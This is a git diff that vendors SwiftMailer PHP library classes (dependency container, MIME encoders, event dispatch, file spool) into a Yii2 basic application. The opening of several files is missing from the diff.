asSharedInstanceOf(), asValue() + * + * @param string $itemName + * + * @return Swift_DependencyContainer + */ + public function register($itemName) + { + $this->_store[$itemName] = array(); + $this->_endPoint = & $this->_store[$itemName]; + + return $this; + } + + /** + * Specify the previously registered item as a literal value. + * + * {@link register()} must be called before this will work. + * + * @param mixed $value + * + * @return Swift_DependencyContainer + */ + public function asValue($value) + { + $endPoint = & $this->_getEndPoint(); + $endPoint['lookupType'] = self::TYPE_VALUE; + $endPoint['value'] = $value; + + return $this; + } + + /** + * Specify the previously registered item as an alias of another item. + * + * @param string $lookup + * + * @return Swift_DependencyContainer + */ + public function asAliasOf($lookup) + { + $endPoint = & $this->_getEndPoint(); + $endPoint['lookupType'] = self::TYPE_ALIAS; + $endPoint['ref'] = $lookup; + + return $this; + } + + /** + * Specify the previously registered item as a new instance of $className. + * + * {@link register()} must be called before this will work. + * Any arguments can be set with {@link withDependencies()}, + * {@link addConstructorValue()} or {@link addConstructorLookup()}. + * + * @see withDependencies(), addConstructorValue(), addConstructorLookup() + * + * @param string $className + * + * @return Swift_DependencyContainer + */ + public function asNewInstanceOf($className) + { + $endPoint = & $this->_getEndPoint(); + $endPoint['lookupType'] = self::TYPE_INSTANCE; + $endPoint['className'] = $className; + + return $this; + } + + /** + * Specify the previously registered item as a shared instance of $className. + * + * {@link register()} must be called before this will work. + * + * @param string $className + * + * @return Swift_DependencyContainer + */ + public function asSharedInstanceOf($className) + { + $endPoint = & $this->_getEndPoint(); + $endPoint['lookupType'] = self::TYPE_SHARED; + $endPoint['className'] = $className; + + return $this; + } + + /** + * Specify a list of injected dependencies for the previously registered item. + * + * This method takes an array of lookup names. + * + * @see addConstructorValue(), addConstructorLookup() + * + * @param array $lookups + * + * @return Swift_DependencyContainer + */ + public function withDependencies(array $lookups) + { + $endPoint = & $this->_getEndPoint(); + $endPoint['args'] = array(); + foreach ($lookups as $lookup) { + $this->addConstructorLookup($lookup); + } + + return $this; + } + + /** + * Specify a literal (non looked up) value for the constructor of the + * previously registered item. + * + * @see withDependencies(), addConstructorLookup() + * + * @param mixed $value + * + * @return Swift_DependencyContainer + */ + public function addConstructorValue($value) + { + $endPoint = & $this->_getEndPoint(); + if (!isset($endPoint['args'])) { + $endPoint['args'] = array(); + } + $endPoint['args'][] = array('type' => 'value', 'item' => $value); + + return $this; + } + + /** + * Specify a dependency lookup for the constructor of the previously + * registered item. + * + * @see withDependencies(), addConstructorValue() + * + * @param string $lookup + * + * @return Swift_DependencyContainer + */ + public function addConstructorLookup($lookup) + { + $endPoint = & $this->_getEndPoint(); + if (!isset($this->_endPoint['args'])) { + $endPoint['args'] = array(); + } + $endPoint['args'][] = array('type' => 'lookup', 'item' => $lookup); + + return $this; + } + + /** Get the literal value with $itemName */ + private function _getValue($itemName) + { + return $this->_store[$itemName]['value']; + } + + /** Resolve an alias to another item */ + private function _createAlias($itemName) + { + return $this->lookup($this->_store[$itemName]['ref']); + } + + /** Create a fresh instance of $itemName */ + private function _createNewInstance($itemName) + { + $reflector = new ReflectionClass($this->_store[$itemName]['className']); + if ($reflector->getConstructor()) { + return $reflector->newInstanceArgs( + $this->createDependenciesFor($itemName) + ); + } else { + return $reflector->newInstance(); + } + } + + /** Create and register a shared instance of $itemName */ + private function _createSharedInstance($itemName) + { + if (!isset($this->_store[$itemName]['instance'])) { + $this->_store[$itemName]['instance'] = $this->_createNewInstance($itemName); + } + + return $this->_store[$itemName]['instance']; + } + + /** Get the current endpoint in the store */ + private function &_getEndPoint() + { + if (!isset($this->_endPoint)) { + throw new BadMethodCallException( + 'Component must first be registered by calling register()' + ); + } + + return $this->_endPoint; + } + + /** Get an argument list with dependencies resolved */ + private function _resolveArgs(array $args) + { + $resolved = array(); + foreach ($args as $argDefinition) { + switch ($argDefinition['type']) { + case 'lookup': + $resolved[] = $this->_lookupRecursive($argDefinition['item']); + break; + case 'value': + $resolved[] = $argDefinition['item']; + break; + } + } + + return $resolved; + } + + /** Resolve a single dependency with an collections */ + private function _lookupRecursive($item) + { + if (is_array($item)) { + $collection = array(); + foreach ($item as $k => $v) { + $collection[$k] = $this->_lookupRecursive($v); + } + + return $collection; + } else { + return $this->lookup($item); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/DependencyException.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/DependencyException.php new file mode 100644 index 00000000..0a96232e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/DependencyException.php @@ -0,0 +1,27 @@ +createDependenciesFor('mime.embeddedfile') + ); + + $this->setBody($data); + $this->setFilename($filename); + if ($contentType) { + $this->setContentType($contentType); + } + } + + /** + * Create a new EmbeddedFile. + * + * @param string|Swift_OutputByteStream $data + * @param string $filename + * @param string $contentType + * + * @return Swift_Mime_EmbeddedFile + */ + public static function newInstance($data = null, $filename = null, $contentType = null) + { + return new self($data, $filename, $contentType); + } + + /** + * Create a new EmbeddedFile from a filesystem path. + * + * @param string $path + * + * @return Swift_Mime_EmbeddedFile + */ + public static function fromPath($path) + { + return self::newInstance()->setFile( + new Swift_ByteStream_FileByteStream($path) + ); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder.php new file mode 100644 index 00000000..7c656424 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder.php @@ -0,0 +1,27 @@ += $maxLineLength || 76 < $maxLineLength) { + $maxLineLength = 76; + } + + $encodedString = base64_encode($string); + $firstLine = ''; + + if (0 != $firstLineOffset) { + $firstLine = substr( + $encodedString, 0, $maxLineLength - $firstLineOffset + )."\r\n"; + $encodedString = substr( + $encodedString, $maxLineLength - $firstLineOffset + ); + } + + return $firstLine.trim(chunk_split($encodedString, $maxLineLength, "\r\n")); + } + + /** + * Does nothing. + */ + public function charsetChanged($charset) + { + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder/QpEncoder.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder/QpEncoder.php new file mode 100644 index 00000000..81836f77 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder/QpEncoder.php @@ -0,0 +1,289 @@ + '=00', 1 => '=01', 2 => '=02', 3 => '=03', 4 => '=04', + 5 => '=05', 6 => '=06', 7 => '=07', 8 => '=08', 9 => '=09', + 10 => '=0A', 11 => '=0B', 12 => '=0C', 13 => '=0D', 14 => '=0E', + 15 => '=0F', 16 => '=10', 17 => '=11', 18 => '=12', 19 => '=13', + 20 => '=14', 21 => '=15', 22 => '=16', 23 => '=17', 24 => '=18', + 25 => '=19', 26 => '=1A', 27 => '=1B', 28 => '=1C', 29 => '=1D', + 30 => '=1E', 31 => '=1F', 32 => '=20', 33 => '=21', 34 => '=22', + 35 => '=23', 36 => '=24', 37 => '=25', 38 => '=26', 39 => '=27', + 40 => '=28', 41 => '=29', 42 => '=2A', 43 => '=2B', 44 => '=2C', + 45 => '=2D', 46 => '=2E', 47 => '=2F', 48 => '=30', 49 => '=31', + 50 => '=32', 51 => '=33', 52 => '=34', 53 => '=35', 54 => '=36', + 55 => '=37', 56 => '=38', 57 => '=39', 58 => '=3A', 59 => '=3B', + 60 => '=3C', 61 => '=3D', 62 => '=3E', 63 => '=3F', 64 => '=40', + 65 => '=41', 66 => '=42', 67 => '=43', 68 => '=44', 69 => '=45', + 70 => '=46', 71 => '=47', 72 => '=48', 73 => '=49', 74 => '=4A', + 75 => '=4B', 76 => '=4C', 77 => '=4D', 78 => '=4E', 79 => '=4F', + 80 => '=50', 81 => '=51', 82 => '=52', 83 => '=53', 84 => '=54', + 85 => '=55', 86 => '=56', 87 => '=57', 88 => '=58', 89 => '=59', + 90 => '=5A', 91 => '=5B', 92 => '=5C', 93 => '=5D', 94 => '=5E', + 95 => '=5F', 96 => '=60', 97 => '=61', 98 => '=62', 99 => '=63', + 100 => '=64', 101 => '=65', 102 => '=66', 103 => '=67', 104 => '=68', + 105 => '=69', 106 => '=6A', 107 => '=6B', 108 => '=6C', 109 => '=6D', + 110 => '=6E', 111 => '=6F', 112 => '=70', 113 => '=71', 114 => '=72', + 115 => '=73', 116 => '=74', 117 => '=75', 118 => '=76', 119 => '=77', + 120 => '=78', 121 => '=79', 122 => '=7A', 123 => '=7B', 124 => '=7C', + 125 => '=7D', 126 => '=7E', 127 => '=7F', 128 => '=80', 129 => '=81', + 130 => '=82', 131 => '=83', 132 => '=84', 133 => '=85', 134 => '=86', + 135 => '=87', 136 => '=88', 137 => '=89', 138 => '=8A', 139 => '=8B', + 140 => '=8C', 141 => '=8D', 142 => '=8E', 143 => '=8F', 144 => '=90', + 145 => '=91', 146 => '=92', 147 => '=93', 148 => '=94', 149 => '=95', + 150 => '=96', 151 => '=97', 152 => '=98', 153 => '=99', 154 => '=9A', + 155 => '=9B', 156 => '=9C', 157 => '=9D', 158 => '=9E', 159 => '=9F', + 160 => '=A0', 161 => '=A1', 162 => '=A2', 163 => '=A3', 164 => '=A4', + 165 => '=A5', 166 => '=A6', 167 => '=A7', 168 => '=A8', 169 => '=A9', + 170 => '=AA', 171 => '=AB', 172 => '=AC', 173 => '=AD', 174 => '=AE', + 175 => '=AF', 176 => '=B0', 177 => '=B1', 178 => '=B2', 179 => '=B3', + 180 => '=B4', 181 => '=B5', 182 => '=B6', 183 => '=B7', 184 => '=B8', + 185 => '=B9', 186 => '=BA', 187 => '=BB', 188 => '=BC', 189 => '=BD', + 190 => '=BE', 191 => '=BF', 192 => '=C0', 193 => '=C1', 194 => '=C2', + 195 => '=C3', 196 => '=C4', 197 => '=C5', 198 => '=C6', 199 => '=C7', + 200 => '=C8', 201 => '=C9', 202 => '=CA', 203 => '=CB', 204 => '=CC', + 205 => '=CD', 206 => '=CE', 207 => '=CF', 208 => '=D0', 209 => '=D1', + 210 => '=D2', 211 => '=D3', 212 => '=D4', 213 => '=D5', 214 => '=D6', + 215 => '=D7', 216 => '=D8', 217 => '=D9', 218 => '=DA', 219 => '=DB', + 220 => '=DC', 221 => '=DD', 222 => '=DE', 223 => '=DF', 224 => '=E0', + 225 => '=E1', 226 => '=E2', 227 => '=E3', 228 => '=E4', 229 => '=E5', + 230 => '=E6', 231 => '=E7', 232 => '=E8', 233 => '=E9', 234 => '=EA', + 235 => '=EB', 236 => '=EC', 237 => '=ED', 238 => '=EE', 239 => '=EF', + 240 => '=F0', 241 => '=F1', 242 => '=F2', 243 => '=F3', 244 => '=F4', + 245 => '=F5', 246 => '=F6', 247 => '=F7', 248 => '=F8', 249 => '=F9', + 250 => '=FA', 251 => '=FB', 252 => '=FC', 253 => '=FD', 254 => '=FE', + 255 => '=FF', + ); + + protected static $_safeMapShare = array(); + + /** + * A map of non-encoded ascii characters. + * + * @var string[] + */ + protected $_safeMap = array(); + + /** + * Creates a new QpEncoder for the given CharacterStream. + * + * @param Swift_CharacterStream $charStream to use for reading characters + * @param Swift_StreamFilter $filter if input should be canonicalized + */ + public function __construct(Swift_CharacterStream $charStream, Swift_StreamFilter $filter = null) + { + $this->_charStream = $charStream; + if (!isset(self::$_safeMapShare[$this->getSafeMapShareId()])) { + $this->initSafeMap(); + self::$_safeMapShare[$this->getSafeMapShareId()] = $this->_safeMap; + } else { + $this->_safeMap = self::$_safeMapShare[$this->getSafeMapShareId()]; + } + $this->_filter = $filter; + } + + public function __sleep() + { + return array('_charStream', '_filter'); + } + + public function __wakeup() + { + if (!isset(self::$_safeMapShare[$this->getSafeMapShareId()])) { + $this->initSafeMap(); + self::$_safeMapShare[$this->getSafeMapShareId()] = $this->_safeMap; + } else { + $this->_safeMap = self::$_safeMapShare[$this->getSafeMapShareId()]; + } + } + + protected function getSafeMapShareId() + { + return get_class($this); + } + + protected function initSafeMap() + { + foreach (array_merge( + array(0x09, 0x20), range(0x21, 0x3C), range(0x3E, 0x7E)) as $byte) { + $this->_safeMap[$byte] = chr($byte); + } + } + + /** + * Takes an unencoded string and produces a QP encoded string from it. + * + * QP encoded strings have a maximum line length of 76 characters. + * If the first line needs to be shorter, indicate the difference with + * $firstLineOffset. + * + * @param string $string to encode + * @param int $firstLineOffset, optional + * @param int $maxLineLength, optional 0 indicates the default of 76 chars + * + * @return string + */ + public function encodeString($string, $firstLineOffset = 0, $maxLineLength = 0) + { + if ($maxLineLength > 76 || $maxLineLength <= 0) { + $maxLineLength = 76; + } + + $thisLineLength = $maxLineLength - $firstLineOffset; + + $lines = array(); + $lNo = 0; + $lines[$lNo] = ''; + $currentLine = & $lines[$lNo++]; + $size = $lineLen = 0; + + $this->_charStream->flushContents(); + $this->_charStream->importString($string); + + // Fetching more than 4 chars at one is slower, as is fetching fewer bytes + // Conveniently 4 chars is the UTF-8 safe number since UTF-8 has up to 6 + // bytes per char and (6 * 4 * 3 = 72 chars per line) * =NN is 3 bytes + while (false !== $bytes = $this->_nextSequence()) { + // If we're filtering the input + if (isset($this->_filter)) { + // If we can't filter because we need more bytes + while ($this->_filter->shouldBuffer($bytes)) { + // Then collect bytes into the buffer + if (false === $moreBytes = $this->_nextSequence(1)) { + break; + } + + foreach ($moreBytes as $b) { + $bytes[] = $b; + } + } + // And filter them + $bytes = $this->_filter->filter($bytes); + } + + $enc = $this->_encodeByteSequence($bytes, $size); + if ($currentLine && $lineLen+$size >= $thisLineLength) { + $lines[$lNo] = ''; + $currentLine = & $lines[$lNo++]; + $thisLineLength = $maxLineLength; + $lineLen = 0; + } + $lineLen += $size; + $currentLine .= $enc; + } + + return $this->_standardize(implode("=\r\n", $lines)); + } + + /** + * Updates the charset used. + * + * @param string $charset + */ + public function charsetChanged($charset) + { + $this->_charStream->setCharacterSet($charset); + } + + /** + * Encode the given byte array into a verbatim QP form. + * + * @param integer[] $bytes + * @param int $size + * + * @return string + */ + protected function _encodeByteSequence(array $bytes, &$size) + { + $ret = ''; + $size = 0; + foreach ($bytes as $b) { + if (isset($this->_safeMap[$b])) { + $ret .= $this->_safeMap[$b]; + ++$size; + } else { + $ret .= self::$_qpMap[$b]; + $size += 3; + } + } + + return $ret; + } + + /** + * Get the next sequence of bytes to read from the char stream. + * + * @param int $size number of bytes to read + * + * @return integer[] + */ + protected function _nextSequence($size = 4) + { + return $this->_charStream->readBytes($size); + } + + /** + * Make sure CRLF is correct and HT/SPACE are in valid places. + * + * @param string $string + * + * @return string + */ + protected function _standardize($string) + { + $string = str_replace(array("\t=0D=0A", " =0D=0A", "=0D=0A"), + array("=09\r\n", "=20\r\n", "\r\n"), $string + ); + switch ($end = ord(substr($string, -1))) { + case 0x09: + case 0x20: + $string = substr_replace($string, self::$_qpMap[$end], -1); + } + + return $string; + } + + /** + * Make a deep copy of object + */ + public function __clone() + { + $this->_charStream = clone $this->_charStream; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder/Rfc2231Encoder.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder/Rfc2231Encoder.php new file mode 100644 index 00000000..1a7e21eb --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoder/Rfc2231Encoder.php @@ -0,0 +1,92 @@ +_charStream = $charStream; + } + + /** + * Takes an unencoded string and produces a string encoded according to + * RFC 2231 from it. + * + * @param string $string + * @param int $firstLineOffset + * @param int $maxLineLength optional, 0 indicates the default of 75 bytes + * + * @return string + */ + public function encodeString($string, $firstLineOffset = 0, $maxLineLength = 0) + { + $lines = array(); + $lineCount = 0; + $lines[] = ''; + $currentLine = & $lines[$lineCount++]; + + if (0 >= $maxLineLength) { + $maxLineLength = 75; + } + + $this->_charStream->flushContents(); + $this->_charStream->importString($string); + + $thisLineLength = $maxLineLength - $firstLineOffset; + + while (false !== $char = $this->_charStream->read(4)) { + $encodedChar = rawurlencode($char); + if (0 != strlen($currentLine) + && strlen($currentLine.$encodedChar) > $thisLineLength) { + $lines[] = ''; + $currentLine = & $lines[$lineCount++]; + $thisLineLength = $maxLineLength; + } + $currentLine .= $encodedChar; + } + + return implode("\r\n", $lines); + } + + /** + * Updates the charset used. + * + * @param string $charset + */ + public function charsetChanged($charset) + { + $this->_charStream->setCharacterSet($charset); + } + + /** + * Make a deep copy of object + */ + public function __clone() + { + $this->_charStream = clone $this->_charStream; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoding.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoding.php new file mode 100644 index 00000000..5cbb20fc --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Encoding.php @@ -0,0 +1,64 @@ +lookup($key); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/CommandEvent.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/CommandEvent.php new file mode 100644 index 00000000..670f4d3d --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/CommandEvent.php @@ -0,0 +1,65 @@ +_command = $command; + $this->_successCodes = $successCodes; + } + + /** + * Get the command which was sent to the server. + * + * @return string + */ + public function getCommand() + { + return $this->_command; + } + + /** + * Get the numeric response codes which indicate success for this command. + * + * @return integer[] + */ + public function getSuccessCodes() + { + return $this->_successCodes; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/CommandListener.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/CommandListener.php new file mode 100644 index 00000000..3465c8d6 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/CommandListener.php @@ -0,0 +1,24 @@ +_source = $source; + } + + /** + * Get the source object of this event. + * + * @return object + */ + public function getSource() + { + return $this->_source; + } + + /** + * Prevent this Event from bubbling any further up the stack. + * + * @param bool $cancel, optional + */ + public function cancelBubble($cancel = true) + { + $this->_bubbleCancelled = $cancel; + } + + /** + * Returns true if this Event will not bubble any further up the stack. + * + * @return bool + */ + public function bubbleCancelled() + { + return $this->_bubbleCancelled; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/ResponseEvent.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/ResponseEvent.php new file mode 100644 index 00000000..b0ac1a8f --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/ResponseEvent.php @@ -0,0 +1,65 @@ +_response = $response; + $this->_valid = $valid; + } + + /** + * Get the response which was received from the server. + * + * @return string + */ + public function getResponse() + { + return $this->_response; + } + + /** + * Get the success status of this Event. + * + * @return bool + */ + public function isValid() + { + return $this->_valid; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/ResponseListener.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/ResponseListener.php new file mode 100644 index 00000000..9629f1e5 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/ResponseListener.php @@ -0,0 +1,24 @@ +_message = $message; + $this->_result = self::RESULT_PENDING; + } + + /** + * Get the Transport used to send the Message. + * + * @return Swift_Transport + */ + public function getTransport() + { + return $this->getSource(); + } + + /** + * Get the Message being sent. + * + * @return Swift_Mime_Message + */ + public function getMessage() + { + return $this->_message; + } + + /** + * Set the array of addresses that failed in sending. + * + * @param array $recipients + */ + public function setFailedRecipients($recipients) + { + $this->_failedRecipients = $recipients; + } + + /** + * Get an recipient addresses which were not accepted for delivery. + * + * @return string[] + */ + public function getFailedRecipients() + { + return $this->_failedRecipients; + } + + /** + * Set the result of sending. + * + * @param int $result + */ + public function setResult($result) + { + $this->_result = $result; + } + + /** + * Get the result of this Event. + * + * The return value is a bitmask from + * {@see RESULT_PENDING, RESULT_SUCCESS, RESULT_TENTATIVE, RESULT_FAILED} + * + * @return int + */ + public function getResult() + { + return $this->_result; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/SendListener.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/SendListener.php new file mode 100644 index 00000000..7d35f18e --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/SendListener.php @@ -0,0 +1,31 @@ +_eventMap = array( + 'Swift_Events_CommandEvent' => 'Swift_Events_CommandListener', + 'Swift_Events_ResponseEvent' => 'Swift_Events_ResponseListener', + 'Swift_Events_SendEvent' => 'Swift_Events_SendListener', + 'Swift_Events_TransportChangeEvent' => 'Swift_Events_TransportChangeListener', + 'Swift_Events_TransportExceptionEvent' => 'Swift_Events_TransportExceptionListener', + ); + } + + /** + * Create a new SendEvent for $source and $message. + * + * @param Swift_Transport $source + * @param Swift_Mime_Message + * + * @return Swift_Events_SendEvent + */ + public function createSendEvent(Swift_Transport $source, Swift_Mime_Message $message) + { + return new Swift_Events_SendEvent($source, $message); + } + + /** + * Create a new CommandEvent for $source and $command. + * + * @param Swift_Transport $source + * @param string $command That will be executed + * @param array $successCodes That are needed + * + * @return Swift_Events_CommandEvent + */ + public function createCommandEvent(Swift_Transport $source, $command, $successCodes = array()) + { + return new Swift_Events_CommandEvent($source, $command, $successCodes); + } + + /** + * Create a new ResponseEvent for $source and $response. + * + * @param Swift_Transport $source + * @param string $response + * @param bool $valid If the response is valid + * + * @return Swift_Events_ResponseEvent + */ + public function createResponseEvent(Swift_Transport $source, $response, $valid) + { + return new Swift_Events_ResponseEvent($source, $response, $valid); + } + + /** + * Create a new TransportChangeEvent for $source. + * + * @param Swift_Transport $source + * + * @return Swift_Events_TransportChangeEvent + */ + public function createTransportChangeEvent(Swift_Transport $source) + { + return new Swift_Events_TransportChangeEvent($source); + } + + /** + * Create a new TransportExceptionEvent for $source. + * + * @param Swift_Transport $source + * @param Swift_TransportException $ex + * + * @return Swift_Events_TransportExceptionEvent + */ + public function createTransportExceptionEvent(Swift_Transport $source, Swift_TransportException $ex) + { + return new Swift_Events_TransportExceptionEvent($source, $ex); + } + + /** + * Bind an event listener to this dispatcher. + * + * @param Swift_Events_EventListener $listener + */ + public function bindEventListener(Swift_Events_EventListener $listener) + { + foreach ($this->_listeners as $l) { + // Already loaded + if ($l === $listener) { + return; + } + } + $this->_listeners[] = $listener; + } + + /** + * Dispatch the given Event to all suitable listeners. + * + * @param Swift_Events_EventObject $evt + * @param string $target method + */ + public function dispatchEvent(Swift_Events_EventObject $evt, $target) + { + $this->_prepareBubbleQueue($evt); + $this->_bubble($evt, $target); + } + + /** Queue listeners on a stack ready for $evt to be bubbled up it */ + private function _prepareBubbleQueue(Swift_Events_EventObject $evt) + { + $this->_bubbleQueue = array(); + $evtClass = get_class($evt); + foreach ($this->_listeners as $listener) { + if (array_key_exists($evtClass, $this->_eventMap) + && ($listener instanceof $this->_eventMap[$evtClass])) { + $this->_bubbleQueue[] = $listener; + } + } + } + + /** Bubble $evt up the stack calling $target() on each listener */ + private function _bubble(Swift_Events_EventObject $evt, $target) + { + if (!$evt->bubbleCancelled() && $listener = array_shift($this->_bubbleQueue)) { + $listener->$target($evt); + $this->_bubble($evt, $target); + } + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportChangeEvent.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportChangeEvent.php new file mode 100644 index 00000000..23c82970 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportChangeEvent.php @@ -0,0 +1,27 @@ +getSource(); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportChangeListener.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportChangeListener.php new file mode 100644 index 00000000..0edfe377 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportChangeListener.php @@ -0,0 +1,45 @@ +_exception = $ex; + } + + /** + * Get the TransportException thrown. + * + * @return Swift_TransportException + */ + public function getException() + { + return $this->_exception; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportExceptionListener.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportExceptionListener.php new file mode 100644 index 00000000..f153742c --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/Events/TransportExceptionListener.php @@ -0,0 +1,24 @@ +createDependenciesFor('transport.failover') + ); + + $this->setTransports($transports); + } + + /** + * Create a new FailoverTransport instance. + * + * @param Swift_Transport[] $transports + * + * @return Swift_FailoverTransport + */ + public static function newInstance($transports = array()) + { + return new self($transports); + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/FileSpool.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/FileSpool.php new file mode 100644 index 00000000..b30f9f85 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/FileSpool.php @@ -0,0 +1,208 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +/** + * Stores Messages on the filesystem. + * + * @author Fabien Potencier + * @author Xavier De Cock + */ +class Swift_FileSpool extends Swift_ConfigurableSpool +{ + /** The spool directory */ + private $_path; + + /** + * File WriteRetry Limit + * + * @var int + */ + private $_retryLimit = 10; + + /** + * Create a new FileSpool. + * + * @param string $path + * + * @throws Swift_IoException + */ + public function __construct($path) + { + $this->_path = $path; + + if (!file_exists($this->_path)) { + if (!mkdir($this->_path, 0777, true)) { + throw new Swift_IoException('Unable to create Path ['.$this->_path.']'); + } + } + } + + /** + * Tests if this Spool mechanism has started. + * + * @return bool + */ + public function isStarted() + { + return true; + } + + /** + * Starts this Spool mechanism. + */ + public function start() + { + } + + /** + * Stops this Spool mechanism. + */ + public function stop() + { + } + + /** + * Allow to manage the enqueuing retry limit. + * + * Default, is ten and allows over 64^20 different fileNames + * + * @param int $limit + */ + public function setRetryLimit($limit) + { + $this->_retryLimit = $limit; + } + + /** + * Queues a message. + * + * @param Swift_Mime_Message $message The message to store + * + * @return bool + * + * @throws Swift_IoException + */ + public function queueMessage(Swift_Mime_Message $message) + { + $ser = serialize($message); + $fileName = $this->_path.'/'.$this->getRandomString(10); + for ($i = 0; $i < $this->_retryLimit; ++$i) { + /* We try an exclusive creation of the file. This is an atomic operation, it avoid locking mechanism */ + $fp = @fopen($fileName.'.message', 'x'); + if (false !== $fp) { + if (false === fwrite($fp, $ser)) { + return false; + } + + return fclose($fp); + } else { + /* The file already exists, we try a longer fileName */ + $fileName .= $this->getRandomString(1); + } + } + + throw new Swift_IoException('Unable to create a file for enqueuing Message'); + } + + /** + * Execute a recovery if for any reason a process is sending for too long. + * + * @param int $timeout in second Defaults is for very slow smtp responses + */ + public function recover($timeout = 900) + { + foreach (new DirectoryIterator($this->_path) as $file) { + $file = $file->getRealPath(); + + if (substr($file, - 16) == '.message.sending') { + $lockedtime = filectime($file); + if ((time() - $lockedtime) > $timeout) { + rename($file, substr($file, 0, - 8)); + } + } + } + } + + /** + * Sends messages using the given transport instance. + * + * @param Swift_Transport $transport A transport instance + * @param string[] $failedRecipients An array of failures by-reference + * + * @return int The number of sent e-mail's + */ + public function flushQueue(Swift_Transport $transport, &$failedRecipients = null) + { + $directoryIterator = new DirectoryIterator($this->_path); + + /* Start the transport only if there are queued files to send */ + if (!$transport->isStarted()) { + foreach ($directoryIterator as $file) { + if (substr($file->getRealPath(), -8) == '.message') { + $transport->start(); + break; + } + } + } + + $failedRecipients = (array) $failedRecipients; + $count = 0; + $time = time(); + foreach ($directoryIterator as $file) { + $file = $file->getRealPath(); + + if (substr($file, -8) != '.message') { + continue; + } + + /* We try a rename, it's an atomic operation, and avoid locking the file */ + if (rename($file, $file.'.sending')) { + $message = unserialize(file_get_contents($file.'.sending')); + + $count += $transport->send($message, $failedRecipients); + + unlink($file.'.sending'); + } else { + /* This message has just been catched by another process */ + continue; + } + + if ($this->getMessageLimit() && $count >= $this->getMessageLimit()) { + break; + } + + if ($this->getTimeLimit() && (time() - $time) >= $this->getTimeLimit()) { + break; + } + } + + return $count; + } + + /** + * Returns a random string needed to generate a fileName for the queue. + * + * @param int $count + * + * @return string + */ + protected function getRandomString($count) + { + // This string MUST stay FS safe, avoid special chars + $base = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-."; + $ret = ''; + $strlen = strlen($base); + for ($i = 0; $i < $count; ++$i) { + $ret .= $base[((int) rand(0, $strlen - 1))]; + } + + return $ret; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/FileStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/FileStream.php new file mode 100644 index 00000000..802cb430 --- /dev/null +++ b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/FileStream.php @@ -0,0 +1,24 @@ +setFile( + new Swift_ByteStream_FileByteStream($path) + ); + + return $image; + } +} diff --git a/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/InputByteStream.php b/php/yii2/basic/vendor/swiftmailer/swiftmailer/lib/classes/Swift/InputByteStream.php new file mode 100644 index 